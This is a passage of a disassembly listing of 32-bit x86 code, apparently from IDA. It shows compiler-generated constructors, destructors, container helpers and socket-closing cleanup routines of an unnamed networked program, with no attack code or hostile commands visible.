dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C05D0 proc near ; CODE XREF: sub_13AB478j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13AC2A1 mov ecx, eax call sub_13AB6CB mov esi, eax push esi call sub_13ABFB8 push esi mov ebx, eax call sub_13ABBD5 mov ecx, [eax] push ecx call sub_13ABFB8 mov edx, [ebx] push esi mov [eax], edx call sub_13ABBD5 push esi mov ebx, eax call sub_13ABFB8 mov eax, [eax] push eax call sub_13ABBD5 mov ecx, [ebx] push esi mov [eax], ecx call sub_13ABBDA add esp, 1Ch mov ecx, edi push eax call sub_13AB7F7 push esi mov ecx, edi call sub_13AC2F6 mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13C05D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0690 proc near ; CODE XREF: sub_13AB801j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13AB739 test al, al jz short loc_13C06EA loc_13C06A8: ; CODE XREF: sub_13C0690+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13AC2A1 mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13AB478 lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13AB739 test al, al jnz short loc_13C06A8 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13C06EA: ; CODE XREF: sub_13C0690+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13C0690 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0720 proc near ; CODE XREF: sub_13AC1A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_13AC29C mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_13C0735 mov edi, esi loc_13C0735: ; CODE XREF: sub_13C0720+11j push esi call sub_13ABFB8 mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_13C074A mov edi, esi loc_13C074A: ; CODE XREF: sub_13C0720+26j push esi call sub_13ABBD5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13C0720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0770 proc near ; CODE XREF: sub_13AC2F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13ABC57 retn 4 sub_13C0770 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0790 proc near ; CODE XREF: sub_13ABFB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13C0790 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C07B0 proc near ; CODE XREF: sub_13ABBDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13C07B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C07D0 proc near ; CODE XREF: sub_13AC229j mov eax, ecx retn sub_13C07D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C07F0 proc near ; CODE XREF: sub_13AC166j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13ABA0E mov eax, esi pop esi retn 4 sub_13C07F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0820 proc near ; CODE XREF: sub_13AC2A1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13AB58B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13C0820 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0850 proc near ; CODE XREF: sub_13AB84Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13C0850 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0880 proc near ; CODE XREF: sub_13AB504j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13C0880 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C08A0 proc near ; CODE XREF: sub_13AC4D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13C08A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C08D0 proc near ; CODE XREF: sub_13AC201j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13C08D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C08F0 proc near ; CODE XREF: sub_13AC594j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AB65D add esp, 8 retn 8 sub_13C08F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0920 proc near ; CODE XREF: sub_13AB8F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_13C0920 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0940 proc near ; CODE XREF: sub_13ABB53j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13C0940 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0960 proc near ; CODE XREF: sub_13ABE4Bj mov eax, [ecx] push eax call sub_13AC2FB add esp, 4 retn sub_13C0960 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0980 proc near ; CODE XREF: sub_13AC4EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_13AC48B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13C0980 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C09B0 proc near ; CODE XREF: sub_13AC0A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC256 neg al sbb eax, eax inc eax retn 4 sub_13C09B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C09E0 proc near ; CODE XREF: sub_13AC04Ej mov eax, [ecx] retn sub_13C09E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0A00 proc near ; CODE XREF: sub_13AB563j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13C0A00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0A20 proc near ; CODE XREF: sub_13AB9A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13C0A20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0A50 proc near ; CODE XREF: sub_13AB4D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13C0A50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0A70 proc near ; CODE XREF: sub_13AB9E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AC440 add esp, 8 retn 8 sub_13C0A70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0AA0 proc near ; CODE XREF: sub_13AC14Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_13C0AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0AC0 proc near ; CODE XREF: sub_13AB757j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13C0AC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0AE0 proc near ; CODE XREF: sub_13AC36Ej mov eax, [ecx] retn sub_13C0AE0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0B00 proc near ; CODE XREF: sub_13ABBD5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13C0B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0B20 proc near ; CODE XREF: sub_13AC29Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13C0B20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0B50 proc near ; CODE XREF: sub_13ABC57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13C0B50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0B70 proc near ; CODE XREF: sub_13AC1FCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AC4CC add esp, 8 retn 8 sub_13C0B70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0BA0 proc near ; CODE XREF: sub_13AB7F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_13C0BA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0BC0 proc near ; CODE XREF: sub_13ABA0Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13C0BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0BE0 proc near ; CODE XREF: sub_13AB6CBj mov eax, [ecx] retn sub_13C0BE0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0C00 proc near ; CODE XREF: sub_13AC256j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13C0C00 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0C30 proc near ; CODE XREF: sub_13AB65Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13C0C4B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13C0C4B: ; CODE XREF: sub_13C0C30+11j retn sub_13C0C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0C80 proc near ; CODE XREF: sub_13AC440j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13C0C9B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13C0C9B: ; CODE XREF: sub_13C0C80+11j retn sub_13C0C80 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0CD0 proc near ; CODE XREF: sub_13AC4CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13C0CEB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13C0CEB: ; CODE XREF: sub_13C0CD0+11j retn sub_13C0CD0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447168B9h dd 0B4F8E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41698068h, 0FF7CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447168B9h, 0B2BAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_13C0DA0 proc near ; CODE XREF: sub_13AC044j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A001h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, dword_9E3983[esi] mov [esp+14h+var_4], 1Ah call sub_13AC5DA lea ecx, dword_9E396C[esi] mov byte ptr [esp+14h+var_4], 19h call sub_13AB626 lea ecx, dword_9E3957[esi] mov byte ptr [esp+14h+var_4], 18h call sub_13AB626 lea ecx, dword_9E3942[esi] mov byte ptr [esp+14h+var_4], 17h call sub_13AB626 lea ecx, dword_9E392D[esi] mov byte ptr [esp+14h+var_4], 16h call sub_13AB626 lea ecx, dword_9E3842[esi] mov byte ptr [esp+14h+var_4], 15h call sub_13AC2E2 lea ecx, dword_9E3831[esi] mov byte ptr [esp+14h+var_4], 14h call sub_13ABB6C lea ecx, dword_9E37FF[esi] mov byte ptr [esp+14h+var_4], 13h call sub_13AC3F5 lea ecx, dword_9E37CD[esi] mov byte ptr [esp+14h+var_4], 12h call sub_13AC1ED lea ecx, dword_9E3793[esi] mov byte ptr [esp+14h+var_4], 11h call sub_13ABC7A lea ecx, dword_9E3705[esi] mov byte ptr [esp+14h+var_4], 10h call sub_13AB513 lea ecx, dword_9E36D3[esi] mov byte ptr [esp+14h+var_4], 0Fh call sub_13AC328 lea ecx, dword_9E3673[esi] mov byte ptr [esp+14h+var_4], 0Eh call sub_13ABF27 lea ecx, dword_9E3613[esi] mov byte ptr [esp+14h+var_4], 0Dh call sub_13ABBD0 lea ecx, dword_9D30BF[esi] mov byte ptr [esp+14h+var_4], 0Ch call sub_13ABCCA lea ecx, dword_9D2FA2[esi] mov byte ptr [esp+14h+var_4], 0Bh call sub_13AC2B0 lea ecx, dword_9D2E85[esi] mov byte ptr [esp+14h+var_4], 0Ah call sub_13AC616 lea ecx, dword_9D2E70[esi] mov byte ptr [esp+14h+var_4], 9 call sub_13ABBA3 lea ecx, dword_9D2E47[esi] mov byte ptr [esp+14h+var_4], 8 call sub_13ABE23 lea ecx, dword_9D2B5D[esi] mov byte ptr [esp+14h+var_4], 7 call sub_13AB7C0 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h+var_4], 6 call sub_13AB635 lea ecx, [esi+1D29h] mov byte ptr [esp+14h+var_4], 5 call sub_13AC283 lea ecx, [esi+1C58h] mov byte ptr [esp+14h+var_4], 4 call sub_13AB8F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+14h+var_4], 3 call sub_13ABEE6 lea ecx, [esi+1B46h] mov byte ptr [esp+14h+var_4], 2 call sub_13AC08F lea ecx, [esi+15Fh] mov byte ptr [esp+14h+var_4], 1 call sub_13ABD29 lea ecx, [esi+3Eh] mov byte ptr [esp+14h+var_4], 0 call sub_13AB83D mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB662 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C0DA0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1010 proc near ; CODE XREF: sub_13ABE23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset dword_43E050 test eax, eax jle short loc_13C1027 push eax call closesocket ; closesocket loc_13C1027: ; CODE XREF: sub_13C1010+Ej mov ecx, esi call sub_13AC431 pop esi retn sub_13C1010 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1040 proc near ; CODE XREF: sub_13AB66Cj sub_13ABDBFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABE23 test [esp+4+arg_0], 1 jz short loc_13C1058 push esi call near ptr 13E0C02h add esp, 4 loc_13C1058: ; CODE XREF: sub_13C1040+Dj mov eax, esi pop esi retn 4 sub_13C1040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1070 proc near ; CODE XREF: sub_13ABBA3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset dword_43E05C test eax, eax jle short loc_13C1087 push eax call closesocket ; closesocket loc_13C1087: ; CODE XREF: sub_13C1070+Ej mov ecx, esi call sub_13AC431 pop esi retn sub_13C1070 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C10A0 proc near ; CODE XREF: sub_13ABA27j sub_13AC099j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABBA3 test [esp+4+arg_0], 1 jz short loc_13C10B8 push esi call near ptr 13E0C02h add esp, 4 loc_13C10B8: ; CODE XREF: sub_13C10A0+Dj mov eax, esi pop esi retn 4 sub_13C10A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C10D0 proc near ; CODE XREF: sub_13ABB6Cj mov dword ptr [ecx], offset dword_43E068 jmp sub_13AC431 sub_13C10D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C10F0 proc near ; CODE XREF: sub_13ABD1Aj sub_13AC58Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABB6C test [esp+4+arg_0], 1 jz short loc_13C1108 push esi call near ptr 13E0C02h add esp, 4 loc_13C1108: ; CODE XREF: sub_13C10F0+Dj mov eax, esi pop esi retn 4 sub_13C10F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1120 proc near ; CODE XREF: sub_13ABC7Aj mov dword ptr [ecx], offset dword_43E074 add ecx, 4 jmp sub_13AB423 sub_13C1120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1140 proc near ; CODE XREF: sub_13AC242j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43A1E1h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_13AC49F lea ecx, [esi+3Eh] mov [esp+18h+var_4], 0 call sub_13AB9DC lea ecx, [esi+15Fh] mov byte ptr [esp+18h+var_4], 1 call sub_13AB69E lea ecx, [esi+1B46h] mov byte ptr [esp+18h+var_4], 2 call sub_13AC3FA lea ecx, [esi+1BBEh] mov byte ptr [esp+18h+var_4], 3 call sub_13ABDF1 lea ecx, [esi+1C58h] mov byte ptr [esp+18h+var_4], 4 call sub_13AB97D lea ecx, [esi+1D29h] mov byte ptr [esp+18h+var_4], 5 call sub_13ABA45 lea ecx, [esi+1E6Fh] mov byte ptr [esp+18h+var_4], 6 call sub_13ABB76 lea ecx, dword_9D2B5D[esi] mov byte ptr [esp+18h+var_4], 7 call sub_13ABA95 lea ecx, dword_9D2E47[esi] mov byte ptr [esp+18h+var_4], 8 call sub_13ABC20 lea ecx, dword_9D2E70[esi] mov byte ptr [esp+18h+var_4], 9 call sub_13ABAB3 lea ecx, dword_9D2E85[esi] mov byte ptr [esp+18h+var_4], 0Ah call sub_13AB815 lea ecx, dword_9D2FA2[esi] mov byte ptr [esp+18h+var_4], 0Bh call sub_13AB702 lea ecx, dword_9D30BF[esi] mov byte ptr [esp+18h+var_4], 0Ch call sub_13AB671 lea ecx, dword_9D311F[esi] mov byte ptr [esp+18h+var_4], 0Dh call sub_13AC111 lea ecx, dword_9E3613[esi] call sub_13AB6FD lea ecx, dword_9E3673[esi] mov byte ptr [esp+18h+var_4], 0Eh call sub_13ABE7D lea ecx, dword_9E36D3[esi] mov byte ptr [esp+18h+var_4], 0Fh call sub_13AB685 lea ecx, dword_9E3705[esi] mov byte ptr [esp+18h+var_4], 10h call sub_13AC0A3 lea ecx, dword_9E3793[esi] mov byte ptr [esp+18h+var_4], 11h call sub_13AC503 mov byte ptr [esp+18h+var_4], 12h lea ecx, dword_9E37CD[esi] call sub_13AB973 lea ecx, dword_9E37FF[esi] mov byte ptr [esp+18h+var_4], 13h call sub_13ABB8F lea ecx, dword_9E3831[esi] mov byte ptr [esp+18h+var_4], 14h call sub_13AB469 lea ecx, dword_9E3842[esi] mov byte ptr [esp+18h+var_4], 15h call sub_13AB473 lea ecx, dword_9E392D[esi] mov byte ptr [esp+18h+var_4], 16h call sub_13AB824 lea ecx, dword_9E3942[esi] mov byte ptr [esp+18h+var_4], 17h call sub_13AB824 lea ecx, dword_9E3957[esi] mov byte ptr [esp+18h+var_4], 18h call sub_13AB824 lea ecx, dword_9E396C[esi] mov byte ptr [esp+18h+var_4], 19h call sub_13AB824 lea eax, [esp+18h+var_11] lea ecx, dword_9E3983[esi] push eax mov byte ptr [esp+1Ch+var_4], 1Ah call sub_13ABEFA mov ecx, [esp+1Ch+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn sub_13C1140 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C13C0 proc near ; CODE XREF: sub_13AB662j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A25Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABF09 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C13C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1430 proc near ; CODE XREF: sub_13ABD29j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A5C0h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_13AC46D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_13AC46D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_13AC46D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_13AC46D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_13AC46D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_13AB423 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_13AB423 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_13AB423 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_13AB423 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_13AB423 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_13AB423 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_13AB423 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_13AB423 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_13AB423 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_13AB423 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_13AB423 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_13AB423 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_13AB423 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_13AB423 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_13AB423 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_13AB423 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_13AB423 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_13ABED2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_13ABED2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_13ABED2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_13ABED2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_13ABED2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_13ABED2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_13ABED2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_13ABED2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_13ABED2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_13ABED2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_13ABED2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_13ABED2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_13ABED2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_13ABED2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_13ABED2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_13ABED2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_13ABED2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_13ABED2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_13ABED2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_13ABED2 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_13ABED2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_13ABED2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_13ABED2 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_13ABED2 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_13ABED2 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_13ABED2 